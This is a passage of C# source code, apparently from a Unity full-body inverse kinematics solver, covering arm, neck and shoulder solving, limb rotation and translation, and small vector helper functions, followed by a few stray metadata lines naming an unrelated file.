r.centerArmDir = Vector3.zero; return r; } } struct _UpperSolverTemp { public Vector3[] targetArmPos; public Vector3 targetNeckPos; public Vector3 targetHeadPos; public float[] wristToArmRate; // wristPull or balanced to armEffector.pull / wristEffector.pull public float[] neckToWristRate; // neckPull or balanced to neckPull / neckEffector.pull public static _UpperSolverTemp Alloc() { _UpperSolverTemp r = new _UpperSolverTemp(); r.targetArmPos = new Vector3[2]; r.targetNeckPos = new Vector3(); r.targetHeadPos = new Vector3(); r.wristToArmRate = new float[2]; r.neckToWristRate = new float[2]; return r; } } public Effector[] _wristEffectors; public SolverCaches _solverCaches; _UpperSolverPreArmsTemp _upperSolverPreArmsTemp = _UpperSolverPreArmsTemp.Alloc(); _UpperSolverArmsTemp[] _upperSolverArmsTemps = new _UpperSolverArmsTemp[2] { _UpperSolverArmsTemp.Alloc(), _UpperSolverArmsTemp.Alloc() }; _UpperSolverTemp _upperSolverTemp = _UpperSolverTemp.Alloc(); void _SolveArmsToArms( ref _UpperSolverArmsTemp armsTemp, float armPull, int idx0 ) { Vector3 targetArmPos = _upperSolverTemp.targetArmPos[idx0]; armsTemp.armPos[idx0] = Vector3.Lerp( armsTemp.armPos[idx0], targetArmPos, armPull ); } void _SolveArmsToNeck( ref _UpperSolverArmsTemp armsTemp, float neckToFullArmPull, int idx0 ) { Vector3 nearArmPos0 = armsTemp.nearArmPos[idx0]; _KeepLength( ref nearArmPos0, ref _upperSolverTemp.targetNeckPos, _solverCaches.nearArmToNeckLength[idx0] ); armsTemp.nearArmPos[idx0] = Vector3.Lerp( nearArmPos0, armsTemp.nearArmPos[idx0], neckToFullArmPull ); } void _SolveArms( ref _UpperSolverArmsTemp armsTemp, int idx0 ) { int idx1 = 1 - idx0; float neckHeadPull = _solverCaches.neckHeadPull; float[] armPull = _solverCaches.armPull; float[] elbowPull = _solverCaches.elbowPull; float[] wristPull = _solverCaches.wristPull; float[] neckHeadToFullArmPull = _solverCaches.neckHeadToFullArmPull; if( wristPull[idx0] > IKEpsilon || elbowPull[idx0] > IKEpsilon || armPull[idx0] > IKEpsilon || neckHeadPull > IKEpsilon ) { if( armPull[idx0] > IKEpsilon ) { _SolveArmsToArms( ref armsTemp, armPull[idx0], idx0 ); } if( (wristPull[idx0] > IKEpsilon || elbowPull[idx0] > IKEpsilon) && arms.SolveTargetBeginPos( idx0, ref armsTemp.armPos[idx0] ) ) { armsTemp.armPos[idx0] = arms.targetBeginPos[idx0]; // Update armPos if( armsTemp.shoulderEnabled ) { _KeepLength( ref armsTemp.shoulderPos[idx0], ref armsTemp.armPos[idx0], _solverCaches.shoulderToArmLength[idx0] ); if( neckHeadPull > IKEpsilon ) { _SolveArmsToNeck( ref armsTemp, neckHeadToFullArmPull[idx0], idx0 ); // Contain wristPull/neckPull. _KeepLength( ref armsTemp.armPos[idx0], ref armsTemp.shoulderPos[idx0], _solverCaches.shoulderToArmLength[idx0] ); } _KeepLength( ref armsTemp.shoulderPos[idx1], ref armsTemp.shoulderPos[idx0], _solverCaches.nearArmToNearArmLen ); _KeepLength( ref armsTemp.armPos[idx1], ref armsTemp.shoulderPos[idx1], _solverCaches.shoulderToArmLength[idx1] ); } else { if( neckHeadPull > IKEpsilon ) { _SolveArmsToNeck( ref armsTemp, neckHeadToFullArmPull[idx0], idx0 ); } _KeepLength( ref armsTemp.armPos[idx1], ref armsTemp.armPos[idx0], _solverCaches.armToArmLen ); } } else if( armPull[idx0] > IKEpsilon || neckHeadPull > IKEpsilon ) { if( armPull[idx0] > IKEpsilon ) { if( armsTemp.shoulderEnabled ) { _KeepLength( ref armsTemp.shoulderPos[idx0], ref armsTemp.armPos[idx0], _solverCaches.shoulderToArmLength[idx0] ); } } if( neckHeadPull > IKEpsilon ) { _SolveArmsToNeck( ref armsTemp, neckHeadToFullArmPull[idx0], idx0 ); // Contain wristPull/neckPull. if( armsTemp.shoulderEnabled ) { _KeepLength( ref armsTemp.armPos[idx0], ref armsTemp.shoulderPos[idx0], _solverCaches.shoulderToArmLength[idx0] ); } } if( armsTemp.shoulderEnabled ) { _KeepLength( ref armsTemp.shoulderPos[idx1], ref armsTemp.shoulderPos[idx0], _solverCaches.nearArmToNearArmLen ); _KeepLength( ref armsTemp.armPos[idx1], ref armsTemp.shoulderPos[idx1], _solverCaches.shoulderToArmLength[idx1] ); } else { _KeepLength( ref armsTemp.armPos[idx1], ref armsTemp.armPos[idx0], _solverCaches.armToArmLen ); } } } } public bool targetCenterArmEnabled = false; public Vector3 targetCenterArmPos = Vector3.zero; public Vector3 targetCenterArmDir = Vector3.zero; public Vector3 currentCenterArmPos { get { if( this.shoulderPos != null ) { return (this.shoulderPos[0] + this.shoulderPos[1]) * 0.5f; } else if( this.armPos != null ){ return (this.armPos[0] + this.armPos[1]) * 0.5f; } return Vector3.zero; } } public Vector3 currentCenterArmDir { get { if( this.shoulderPos != null ) { Vector3 dir = (this.shoulderPos[1] - this.shoulderPos[0]); if( SAFBIKVecNormalize( ref dir ) ) { return dir; } } else if( this.armPos != null ) { Vector3 dir = (this.armPos[1] - this.armPos[0]); if( SAFBIKVecNormalize( ref dir ) ) { return dir; } } return Vector3.zero; } } public bool UpperSolve() { targetCenterArmEnabled = false; float neckPull = _solverCaches.neckPull; float headPull = _solverCaches.headPull; float[] armPull = _solverCaches.armPull; float[] elbowPull = _solverCaches.elbowPull; float[] wristPull = _solverCaches.wristPull; if( wristPull[0] <= IKEpsilon && wristPull[1] <= IKEpsilon && elbowPull[0] <= IKEpsilon && elbowPull[1] <= IKEpsilon && armPull[0] <= IKEpsilon && armPull[1] <= IKEpsilon && neckPull <= IKEpsilon && headPull <= IKEpsilon ) { targetCenterArmPos = this.currentCenterArmPos; targetCenterArmDir = this.currentCenterArmDir; return false; } // Prepare _upperSolverTemp _upperSolverTemp.targetNeckPos = (_neckEffector != null) ? _neckEffector._hidden_worldPosition : neckPos; _upperSolverTemp.targetHeadPos = (_headEffector != null) ? _headEffector._hidden_worldPosition : headPos; _upperSolverTemp.targetArmPos[0] = (_armEffectors != null) ? _armEffectors[0]._hidden_worldPosition : armPos[0]; _upperSolverTemp.targetArmPos[1] = (_armEffectors != null) ? _armEffectors[1]._hidden_worldPosition : armPos[1]; // Prepare _upperSolverPreArmsTemp _upperSolverPreArmsTemp.neckPos = neckPos; _upperSolverPreArmsTemp.armPos[0] = armPos[0]; _upperSolverPreArmsTemp.armPos[1] = armPos[1]; _upperSolverPreArmsTemp.shoulderEnabled = (shoulderPos != null); if( _upperSolverPreArmsTemp.shoulderEnabled ) { _upperSolverPreArmsTemp.shoulderPos[0] = shoulderPos[0]; _upperSolverPreArmsTemp.shoulderPos[1] = shoulderPos[1]; _upperSolverPreArmsTemp.nearArmPos = _upperSolverPreArmsTemp.shoulderPos; } else { _upperSolverPreArmsTemp.nearArmPos = _upperSolverPreArmsTemp.armPos; } // Moving fix. float bodyMovingfixRate = settings.bodyIK.upperBodyMovingfixRate; float headMovingfixRate = settings.bodyIK.upperHeadMovingfixRate; if( bodyMovingfixRate > IKEpsilon || headMovingfixRate > IKEpsilon ) { Vector3 headMove = Vector3.zero; Vector3 bodyMove = Vector3.zero; if( headPull > IKEpsilon ) { headMove = _upperSolverTemp.targetHeadPos - headPos; if( headMovingfixRate < 1.0f - IKEpsilon ) { headMove *= headPull * headMovingfixRate; } else { headMove *= headPull; } } float bodyPull = 0.0f; float bodyPullInv = 0.0f; if( neckPull > IKEpsilon || armPull[0] > IKEpsilon || armPull[1] > IKEpsilon ) { bodyPull = (neckPull + armPull[0] + armPull[1]); bodyPullInv = 1.0f / bodyPull; if( neckPull > IKEpsilon ) { bodyMove = (_upperSolverTemp.targetNeckPos - neckPos) * (neckPull * neckPull); } if( armPull[0] > IKEpsilon ) { bodyMove += (_upperSolverTemp.targetArmPos[0] - armPos[0]) * (armPull[0] * armPull[0]); } if( armPull[1] > IKEpsilon ) { bodyMove += (_upperSolverTemp.targetArmPos[1] - armPos[1]) * (armPull[1] * armPull[1]); } if( bodyMovingfixRate < 1.0f - IKEpsilon ) { bodyMove *= bodyPullInv * bodyMovingfixRate; } else { bodyMove *= bodyPullInv; } } Vector3 totalMove = new Vector3(); if( headPull > IKEpsilon && bodyPull > IKEpsilon ) { totalMove = (headMove * headPull) + (bodyMove * bodyPull); totalMove *= 1.0f / (headPull + bodyPull); } else if( headPull > IKEpsilon ) { totalMove = headMove; } else { totalMove = bodyMove; } _upperSolverPreArmsTemp.neckPos += totalMove; _upperSolverPreArmsTemp.armPos[0] += totalMove; _upperSolverPreArmsTemp.armPos[1] += totalMove; if( _upperSolverPreArmsTemp.shoulderEnabled ) { _upperSolverPreArmsTemp.shoulderPos[0] += totalMove; _upperSolverPreArmsTemp.shoulderPos[1] += totalMove; } } // Preprocess neckSolver. if( headMovingfixRate < 1.0f - IKEpsilon || bodyMovingfixRate < 1.0f - IKEpsilon ) { if( headPull > IKEpsilon || neckPull > IKEpsilon ) { if( headMovingfixRate < 1.0f - IKEpsilon && headPull > IKEpsilon ) { Vector3 tempNeckPos = _upperSolverPreArmsTemp.neckPos; if( _KeepMaxLength( ref tempNeckPos, ref _upperSolverTemp.targetHeadPos, _solverCaches.neckToHeadLength ) ) { // Not KeepLength _upperSolverPreArmsTemp.neckPos = Vector3.Lerp( _upperSolverPreArmsTemp.neckPos, tempNeckPos, headPull ); } } for( int i = 0; i != 2; ++i ) { if( bodyMovingfixRate < 1.0f - IKEpsilon && neckPull > IKEpsilon ) { Vector3 tempNearArmPos = _upperSolverPreArmsTemp.nearArmPos[i]; _KeepLength( ref tempNearArmPos, ref _upperSolverTemp.targetNeckPos, _solverCaches.nearArmToNeckLength[i] ); _upperSolverPreArmsTemp.nearArmPos[i] = Vector3.Lerp( _upperSolverPreArmsTemp.nearArmPos[i], tempNearArmPos, neckPull ); // Not use neckToFullArmPull in Presolve. } else { _KeepLength( ref _upperSolverPreArmsTemp.nearArmPos[i], ref _upperSolverPreArmsTemp.neckPos, _solverCaches.nearArmToNeckLength[i] ); } if( _upperSolverPreArmsTemp.shoulderEnabled ) { _KeepLength( ref _upperSolverPreArmsTemp.armPos[i], ref _upperSolverPreArmsTemp.shoulderPos[i], _solverCaches.shoulderToArmLength[i] ); } //internalValues.AddDebugPoint( nearArmPos, Color.black, 0.1f ); } } } // Update targetNeckPos using presolved. (Contain neckPull / headPull) _upperSolverTemp.targetNeckPos = _upperSolverPreArmsTemp.neckPos; // Prepare _upperSolverArmsTemps for( int i = 0; i != 2; ++i ) { _upperSolverArmsTemps[i].armPos[0] = _upperSolverPreArmsTemp.armPos[0]; _upperSolverArmsTemps[i].armPos[1] = _upperSolverPreArmsTemp.armPos[1]; _upperSolverArmsTemps[i].shoulderEnabled = _upperSolverPreArmsTemp.shoulderEnabled; if( _upperSolverArmsTemps[i].shoulderEnabled ) { _upperSolverArmsTemps[i].shoulderPos[0] = _upperSolverPreArmsTemp.shoulderPos[0]; _upperSolverArmsTemps[i].shoulderPos[1] = _upperSolverPreArmsTemp.shoulderPos[1]; _upperSolverArmsTemps[i].nearArmPos = _upperSolverArmsTemps[i].shoulderPos; } else { _upperSolverArmsTemps[i].nearArmPos = _upperSolverArmsTemps[i].armPos; } } // Check enabled by side. bool enabled0 = (wristPull[0] > IKEpsilon || elbowPull[0] > IKEpsilon || armPull[0] > IKEpsilon); bool enabled1 = (wristPull[1] > IKEpsilon || elbowPull[1] > IKEpsilon || armPull[1] > IKEpsilon); float neckHeadPull = _solverCaches.neckHeadPull; if( (enabled0 && enabled1) || neckHeadPull > IKEpsilon ) { for( int i = 0; i != 2; ++i ) { int idx0 = i; int idx1 = 1 - i; _SolveArms( ref _upperSolverArmsTemps[idx0], idx0 ); _SolveArms( ref _upperSolverArmsTemps[idx0], idx1 ); _SolveArms( ref _upperSolverArmsTemps[idx0], idx0 ); if( _upperSolverArmsTemps[idx0].shoulderEnabled ) { _upperSolverArmsTemps[idx0].centerArmPos = (_upperSolverArmsTemps[idx0].shoulderPos[0] + _upperSolverArmsTemps[idx0].shoulderPos[1]) * 0.5f; _upperSolverArmsTemps[idx0].centerArmDir = _upperSolverArmsTemps[idx0].shoulderPos[1] - _upperSolverArmsTemps[idx0].shoulderPos[0]; } else { _upperSolverArmsTemps[idx0].centerArmPos = (_upperSolverArmsTemps[idx0].armPos[0] + _upperSolverArmsTemps[idx0].armPos[1]) * 0.5f; _upperSolverArmsTemps[idx0].centerArmDir = _upperSolverArmsTemps[idx0].armPos[1] - _upperSolverArmsTemps[idx0].armPos[0]; } } if( !SAFBIKVecNormalize2( ref _upperSolverArmsTemps[0].centerArmDir, ref _upperSolverArmsTemps[1].centerArmDir ) ) { return false; } float limbArmRate = _solverCaches.limbArmRate; targetCenterArmEnabled = true; targetCenterArmPos = Vector3.Lerp( _upperSolverArmsTemps[0].centerArmPos, _upperSolverArmsTemps[1].centerArmPos, limbArmRate ); targetCenterArmDir = _LerpDir( ref _upperSolverArmsTemps[0].centerArmDir, ref _upperSolverArmsTemps[1].centerArmDir, limbArmRate ); } else { int idx0 = enabled0 ? 0 : 1; _SolveArms( ref _upperSolverArmsTemps[idx0], idx0 ); if( _upperSolverArmsTemps[idx0].shoulderEnabled ) { _upperSolverArmsTemps[idx0].centerArmPos = (_upperSolverArmsTemps[idx0].shoulderPos[0] + _upperSolverArmsTemps[idx0].shoulderPos[1]) * 0.5f; _upperSolverArmsTemps[idx0].centerArmDir = _upperSolverArmsTemps[idx0].shoulderPos[1] - _upperSolverArmsTemps[idx0].shoulderPos[0]; //internalValues.AddDebugPoint( _upperSolverArmsTemps[idx0].shoulderPos[0], Color.black, 0.1f ); //internalValues.AddDebugPoint( _upperSolverArmsTemps[idx0].shoulderPos[1], Color.black, 0.1f ); } else { _upperSolverArmsTemps[idx0].centerArmPos = (_upperSolverArmsTemps[idx0].armPos[0] + _upperSolverArmsTemps[idx0].armPos[1]) * 0.5f; _upperSolverArmsTemps[idx0].centerArmDir = _upperSolverArmsTemps[idx0].armPos[1] - _upperSolverArmsTemps[idx0].armPos[0]; //internalValues.AddDebugPoint( _upperSolverArmsTemps[idx0].armPos[0], Color.black, 0.1f ); //internalValues.AddDebugPoint( _upperSolverArmsTemps[idx0].armPos[1], Color.black, 0.1f ); } if( !SAFBIKVecNormalize( ref _upperSolverArmsTemps[idx0].centerArmDir ) ) { return false; } targetCenterArmEnabled = true; targetCenterArmPos = _upperSolverArmsTemps[idx0].centerArmPos; targetCenterArmDir = _upperSolverArmsTemps[idx0].centerArmDir; } return true; } Vector3[] _tempArmPos = new Vector3[2]; Vector3[] _tempArmToElbowDir = new Vector3[2]; Vector3[] _tempElbowToWristDir = new Vector3[2]; bool[] _tempElbowPosEnabled = new bool[2]; public LimbIK[] _limbIK; Matrix3x3[] _tempParentBasis = new Matrix3x3[2] { Matrix3x3.identity, Matrix3x3.identity }; Vector3[] _tempArmToElbowDefaultDir = new Vector3[2]; public bool ShoulderResolve() { Bone[] armBones = _solverCaches.armBones; Bone[] shoulderBones = _solverCaches.shoulderBones; float[] shoulderToArmLength = _solverCaches.shoulderToArmLength; if( armBones == null || shoulderBones == null ) { return false; } Assert( shoulderToArmLength != null ); Assert( _limbIK != null ); if( !_limbIK[(int)LimbIKLocation.LeftArm].IsSolverEnabled() && !_limbIK[(int)LimbIKLocation.RightArm].IsSolverEnabled() ) { return false; // Not required. } for( int i = 0; i != 2; ++i ) { int limbIKIndex = (i == 0) ? (int)LimbIKLocation.LeftArm : (int)LimbIKLocation.RightArm; if( _limbIK[limbIKIndex].IsSolverEnabled() ) { Vector3 xDir, yDir, zDir; xDir = this.armPos[i] - this.shoulderPos[i]; if( internalValues.shoulderDirYAsNeck != 0 ) { yDir = this.neckPos - this.shoulderPos[i]; } else { yDir = this.shoulderPos[i] - this.spineUPos; } xDir = (i == 0) ? -xDir : xDir; zDir = Vector3.Cross( xDir, yDir ); yDir = Vector3.Cross( zDir, xDir ); if( SAFBIKVecNormalize3( ref xDir, ref yDir, ref zDir ) ) { Matrix3x3 boneBasis = Matrix3x3.FromColumn( ref xDir, ref yDir, ref zDir ); SAFBIKMatMult( out _tempParentBasis[i], ref boneBasis, ref _shoulderBones[i]._boneToBaseBasis ); } _tempArmPos[i] = this.armPos[i]; _tempElbowPosEnabled[i] = _limbIK[limbIKIndex].Presolve( ref _tempParentBasis[i], ref _tempArmPos[i], out _tempArmToElbowDir[i], out _tempElbowToWristDir[i] ); if( _tempElbowPosEnabled[i] ) { SAFBIKMatMultCol0( out _tempArmToElbowDefaultDir[i], ref _tempParentBasis[i], ref _armBones[i]._baseToBoneBasis ); if( i == 0 ) { _tempArmToElbowDefaultDir[i] = -_tempArmToElbowDefaultDir[i]; } } } } if( !_tempElbowPosEnabled[0] && !_tempElbowPosEnabled[1] ) { return false; // Not required. } float feedbackRate = settings.bodyIK.shoulderSolveBendingRate; bool updateAnything = false; for( int i = 0; i != 2; ++i ) { if( _tempElbowPosEnabled[i] ) { float theta; Vector3 axis; _ComputeThetaAxis( ref _tempArmToElbowDefaultDir[i], ref _tempArmToElbowDir[i], out theta, out axis ); if( theta >= -FLOAT_EPSILON && theta <= FLOAT_EPSILON ) { // Nothing. } else { updateAnything = true; theta = SAFBIKCos( SAFBIKAcos( theta ) * feedbackRate ); Matrix3x3 m = new Matrix3x3(); SAFBIKMatSetAxisAngle( out m, ref axis, theta ); Vector3 tempShoulderPos = this.shoulderPos[i]; Vector3 tempDir = _tempArmPos[i] - tempShoulderPos; SAFBIKVecNormalize( ref tempDir ); Vector3 resultDir; SAFBIKMatMultVec( out resultDir, ref m, ref tempDir ); Vector3 destArmPos = tempShoulderPos + resultDir * shoulderToArmLength[i]; SolveShoulderToArmInternal( i, ref destArmPos ); } } } return updateAnything; } public bool PrepareLowerRotation( int origIndex ) { bool r = false; for( int i = 0; i < 2; ++i ) { this.legs.SolveTargetBeginPos( i ); r |= _PrepareLimbRotation( this.legs, i, origIndex, ref this.legs.beginPos[i] ); } return r; } public bool _PrepareLimbRotation( Limb limb, int i, int origIndex, ref Vector3 beginPos ) { Assert( i < 2 ); this.origTheta[i] = 0.0f; this.origAxis[i] = new Vector3( 0.0f, 0.0f, 1.0f ); if( !limb.targetBeginPosEnabled[i] ) { return false; } // Memo: limb index = orig index. var targetBeginPos = limb.targetBeginPos; Vector3 origPos = (origIndex == -1) ? this.centerLegPos : this.spinePos[origIndex]; return _ComputeThetaAxis( ref origPos, ref beginPos, ref targetBeginPos[i], out this.origTheta[i], out this.origAxis[i] ); } public void SetSolveFeedbackRate( float feedbackRate ) { for( int i = 0; i < this.origFeedbackRate.Length; ++i ) { this.origFeedbackRate[i] = feedbackRate; } } public void SetSolveFeedbackRate( int i, float feedbackRate ) { this.origFeedbackRate[i] = feedbackRate; } public bool SolveLowerRotation( int origIndex, out Quaternion origRotation ) { return _SolveLimbRotation( this.legs, origIndex, out origRotation ); } bool _SolveLimbRotation( Limb limb, int origIndex, out Quaternion origRotation ) { origRotation = Quaternion.identity; int pullIndex = -1; int pullLength = 0; for( int i = 0; i < 2; ++i ) { if( limb.targetBeginPosEnabled[i] ) { pullIndex = i; ++pullLength; } } if( pullLength == 0 ) { return false; // Failsafe. } float lerpRate = (limb == arms) ? _solverCaches.limbArmRate : _solverCaches.limbLegRate; if( pullLength == 1 ) { int i0 = pullIndex; if( this.origTheta[i0] == 0.0f ) { return false; } if( i0 == 0 ) { lerpRate = 1.0f - lerpRate; } origRotation = _GetRotation( ref this.origAxis[i0], this.origTheta[i0], this.origFeedbackRate[i0] * lerpRate ); return true; } // Fix for rotate 180 degrees or more.( half rotation in GetRotation & double rotation in origRotation * origRotation. ) Quaternion origRotation0 = _GetRotation( ref this.origAxis[0], this.origTheta[0], this.origFeedbackRate[0] * 0.5f ); Quaternion origRotation1 = _GetRotation( ref this.origAxis[1], this.origTheta[1], this.origFeedbackRate[1] * 0.5f ); origRotation = Quaternion.Lerp( origRotation0, origRotation1, lerpRate ); origRotation = origRotation * origRotation; // Optimized: Not normalize. return true; } public void UpperRotation( int origIndex, ref Matrix3x3 origBasis ) { Vector3 origPos = (origIndex == -1) ? this.centerLegPos : this.spinePos[origIndex]; { var armPos = this.armPos; if( armPos != null ) { for( int i = 0; i < armPos.Length; ++i ) { SAFBIKMatMultVecPreSubAdd( out armPos[i], ref origBasis, ref armPos[i], ref origPos, ref origPos ); } } } if( shoulderPos != null ) { for( int i = 0; i < this.shoulderPos.Length; ++i ) { SAFBIKMatMultVecPreSubAdd( out shoulderPos[i], ref origBasis, ref shoulderPos[i], ref origPos, ref origPos ); } } SAFBIKMatMultVecPreSubAdd( out neckPos, ref origBasis, ref neckPos, ref origPos, ref origPos ); if( headEnabled ) { SAFBIKMatMultVecPreSubAdd( out headPos, ref origBasis, ref headPos, ref origPos, ref origPos ); } // Legs if( origIndex == -1 ) { // Rotation origin is centerLeg var legPos = this.legPos; if( legPos != null ) { for( int i = 0; i < legPos.Length; ++i ) { SAFBIKMatMultVecPreSubAdd( out legPos[i], ref origBasis, ref legPos[i], ref origPos, ref origPos ); } } _isDirtyCenterLegBasis = true; } // Spine for( int t = (origIndex == -1) ? 0 : origIndex; t < this.spinePos.Length; ++t ) { SAFBIKMatMultVecPreSubAdd( out this.spinePos[t], ref origBasis, ref this.spinePos[t], ref origPos, ref origPos ); } _isDirtyCenterArmPos = true; _isDirtySpineUBasis = true; } public void LowerRotation( int origIndex, ref Quaternion origRotation, bool bodyRotation ) { Matrix3x3 origBasis = new Matrix3x3( origRotation ); LowerRotation( origIndex, ref origBasis, bodyRotation ); } public void LowerRotation( int origIndex, ref Matrix3x3 origBasis, bool bodyRotation ) { Vector3 origPos = (origIndex == -1) ? this.centerLegPos : this.spinePos[origIndex]; var legPos = this.legPos; if( legPos != null ) { for( int i = 0; i < 2; ++i ) { SAFBIKMatMultVecPreSubAdd( out legPos[i], ref origBasis, ref legPos[i], ref origPos, ref origPos ); } } if( this.spinePos != null ) { int length = bodyRotation ? this.spinePos.Length : origIndex; for( int n = 0; n < length; ++n ) { SAFBIKMatMultVecPreSubAdd( out spinePos[n], ref origBasis, ref spinePos[n], ref origPos, ref origPos ); } } _isDirtyCenterArmPos = true; _isDirtyCenterLegPos = true; _isDirtyCenterLegBasis = true; if( bodyRotation || this.spinePos == null || origIndex + 1 == this.spinePos.Length ) { SAFBIKMatMultVecPreSubAdd( out neckPos, ref origBasis, ref neckPos, ref origPos, ref origPos ); if( headEnabled ) { SAFBIKMatMultVecPreSubAdd( out headPos, ref origBasis, ref headPos, ref origPos, ref origPos ); } var armPos = this.armPos; if( armPos != null ) { for( int i = 0; i < 2; ++i ) { SAFBIKMatMultVecPreSubAdd( out armPos[i], ref origBasis, ref armPos[i], ref origPos, ref origPos ); } } if( this.shoulderPos != null ) { for( int i = 0; i < 2; ++i ) { SAFBIKMatMultVecPreSubAdd( out shoulderPos[i], ref origBasis, ref shoulderPos[i], ref origPos, ref origPos ); } } _isDirtySpineUBasis = true; } } public bool PrepareLowerTranslate() { bool r = false; for( int i = 0; i < 2; ++i ) { this.legs.SolveTargetBeginPos( i ); r |= _PrepareLimbTranslate( this.legs, i, ref this.legs.beginPos[i] ); } return r; } bool _PrepareLimbTranslate( Limb limb, int i, ref Vector3 beginPos ) { this.origTranslate[i] = Vector3.zero; if( limb.targetBeginPosEnabled[i] ) { this.origTranslate[i] = (limb.targetBeginPos[i] - beginPos); return true; } return false; } public bool SolveLowerTranslate( out Vector3 translate ) { return _SolveLimbTranslate( this.legs, out translate ); } bool _SolveLimbTranslate( Limb limb, out Vector3 origTranslate ) { origTranslate = Vector3.zero; float lerpRate = (limb == arms) ? _solverCaches.limbArmRate : _solverCaches.limbLegRate; if( limb.targetBeginPosEnabled[0] && limb.targetBeginPosEnabled[1] ) { origTranslate = Vector3.Lerp( this.origTranslate[0], this.origTranslate[1], lerpRate ); } else if( limb.targetBeginPosEnabled[0] || limb.targetBeginPosEnabled[1] ) { int i0 = limb.targetBeginPosEnabled[0] ? 0 : 1; float lerpRate1to0 = limb.targetBeginPosEnabled[0] ? (1.0f - lerpRate) : lerpRate; origTranslate = this.origTranslate[i0] * lerpRate1to0; } return (origTranslate != Vector3.zero); } public void LowerTranslateBeginOnly( ref Vector3 origTranslate ) { _LimbTranslateBeginOnly( this.legs, ref origTranslate ); _centerLegPos += origTranslate; // Optimized. } void _LimbTranslateBeginOnly( Limb limb, ref Vector3 origTranslate ) { for( int i = 0; i < 2; ++i ) { limb.beginPos[i] += origTranslate; } } public void Translate( ref Vector3 origTranslate ) { _centerArmPos += origTranslate; _centerLegPos += origTranslate; if( spinePos != null ) { for( int i = 0; i != spinePos.Length; ++i ) { spinePos[i] += origTranslate; } } neckPos += origTranslate; if( headEnabled ) { headPos += origTranslate; } for( int i = 0; i != 2; ++i ) { if( legPos != null ) { legPos[i] += origTranslate; } if( shoulderPos != null ) { shoulderPos[i] += origTranslate; } if( armPos != null ) { armPos[i] += origTranslate; } } } public void SolveShoulderToArmInternal( int i, ref Vector3 destArmPos ) { if( !settings.bodyIK.shoulderSolveEnabled ) { return; } Bone[] shoulderBones = _solverCaches.shoulderBones; float[] shoulderToArmLength = _solverCaches.shoulderToArmLength; float limitYPlus = internalValues.bodyIK.shoulderLimitThetaYPlus.sin; float limitYMinus = internalValues.bodyIK.shoulderLimitThetaYMinus.sin; float limitZ = internalValues.bodyIK.shoulderLimitThetaZ.sin; if( shoulderBones == null ) { return; } if( _shouderLocalAxisYInv[i] ) { float t = limitYPlus; limitYPlus = limitYMinus; limitYMinus = t; } if( !IsFuzzy( ref armPos[i], ref destArmPos ) ) { Vector3 dirX = destArmPos - this.shoulderPos[i]; if( SAFBIKVecNormalize( ref dirX ) ) { if( settings.bodyIK.shoulderLimitEnabled ) { Matrix3x3 worldBasis = this.spineUBasis; SAFBIKMatMultRet0( ref worldBasis, ref shoulderBones[i]._localAxisBasis ); SAFBIKMatMultVecInv( out dirX, ref worldBasis, ref dirX ); _LimitYZ_Square( i != 0, ref dirX, limitYMinus, limitYPlus, limitZ, limitZ ); SAFBIKMatMultVec( out dirX, ref worldBasis, ref dirX ); } this.armPos[i] = this.shoulderPos[i] + dirX * shoulderToArmLength[i]; } } } } //---------------------------------------------------------------------------------------------------------------------------------------- static bool _ComputeCenterLegBasis( out Matrix3x3 centerLegBasis, ref Vector3 spinePos, ref Vector3 leftLegPos, ref Vector3 rightLegPos ) { Vector3 dirX = rightLegPos - leftLegPos; Vector3 dirY = spinePos - (rightLegPos + leftLegPos) * 0.5f; if( SAFBIKVecNormalize( ref dirY ) ) { return SAFBIKComputeBasisFromXYLockY( out centerLegBasis, ref dirX, ref dirY ); } else { centerLegBasis = Matrix3x3.identity; return false; } } //---------------------------------------------------------------------------------------------------------------------------------------- static bool _KeepMaxLength( ref Vector3 posTo, ref Vector3 posFrom, float keepLength ) { Vector3 v = posTo - posFrom; float len = SAFBIKVecLength( ref v ); if( len > IKEpsilon && len > keepLength ) { v = v * (keepLength / len); posTo = posFrom + v; return true; } return false; } static bool _KeepMaxLength( ref Vector3 posTo, ref Vector3 posFrom, ref FastLength keepLength ) { Vector3 v = posTo - posFrom; float len = SAFBIKVecLength( ref v ); if( len > IKEpsilon && len > keepLength.length ) { v = v * (keepLength.length / len); posTo = posFrom + v; return true; } return false; } static bool _KeepLength( ref Vector3 posTo, ref Vector3 posFrom, float keepLength ) { Vector3 v = posTo - posFrom; float len = SAFBIKVecLength( ref v ); if( len > IKEpsilon ) { v = v * (keepLength / len); posTo = posFrom + v; return true; } return false; } static Quaternion _GetRotation( ref Vector3 axisDir, float theta, float rate ) { if( (theta >= -IKEpsilon && theta <= IKEpsilon) || (rate >= -IKEpsilon && rate <= IKEpsilon) ) { return Quaternion.identity; } else { return Quaternion.AngleAxis( SAFBIKAcos( theta ) * rate * Mathf.Rad2Deg, axisDir ); } } //-------------------------------------------------------------------------------------------------------------------------------- static float _ConcatPull( float pull, float effectorPull ) { if( pull >= 1.0f - IKEpsilon ) { return 1.0f; } if( pull <= IKEpsilon ) { return effectorPull; } if( effectorPull > IKEpsilon ) { if( effectorPull >= 1.0f - IKEpsilon ) { return 1.0f; } else { return pull + (1.0f - pull) * effectorPull; } } else { return pull; } } static float _GetBalancedPullLockTo( float pullFrom, float pullTo ) { if( pullTo <= IKEpsilon ) { return 1.0f - pullFrom; } if( pullFrom <= IKEpsilon ) { return 1.0f; // Lock to. } return pullTo / (pullFrom + pullTo); } static float _GetBalancedPullLockFrom( float pullFrom, float pullTo ) { if( pullFrom <= IKEpsilon ) { return pullTo; } if( pullTo <= IKEpsilon ) { return 0.0f; // Lock from. } return pullTo / (pullFrom + pullTo); } static float _GetLerpRateFromPull2( float pull0, float pull1 ) { if( pull0 > FLOAT_EPSILON && pull1 > FLOAT_EPSILON ) { return Mathf.Clamp01( pull1 / (pull0 + pull1) ); } else if( pull0 > FLOAT_EPSILON ) { return 0.0f; } else if( pull1 > FLOAT_EPSILON ) { return 1.0f; } else { return 0.5f; } } } } }
1
0.878451
1
0.878451
game-dev
MEDIA
0.968871
game-dev
0.741145
1
0.741145
CadetEditor/CadetEngine-as
2,144
cadet3DPhysics/src/cadet3DPhysics/components/processes/PhysicsProcess.as
